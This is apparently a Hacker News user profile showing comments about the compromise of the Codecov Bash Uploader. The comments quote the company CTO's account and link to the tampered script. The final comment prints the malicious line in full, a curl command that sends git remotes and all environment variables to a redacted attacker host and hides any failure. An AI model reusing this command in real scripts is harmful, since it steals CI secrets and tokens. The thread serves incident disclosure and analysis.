Codecov Bash Uploader compromised 5 years ago
HN user
davidrans
22 karma
Posts3
Comments3
Codecov Bash Uploader compromised 5 years ago
Here it is; see line 525: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
Codecov Bash Uploader compromised 5 years ago
From Eli Hooten, CodeCov's CTO, in a personal message:
Based on the nature of this attack I do not believe malicious actions were executed directly against the CI pipeline, nor do we have any evidence of it. I have included the malicious bash script for your review so you can fully understand the scope of the attack. Of interest is line 525
line 525 was the only change we've observed. I have removed the IP address in the curl command as it is part of an ongoing federal investigation
Compromised script: https://gist.github.com/davidrans/ca6e9ffa5865983d9f6aa00b7a...
And here's line 525:
curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://ATTACKERIP/upload/v2 || true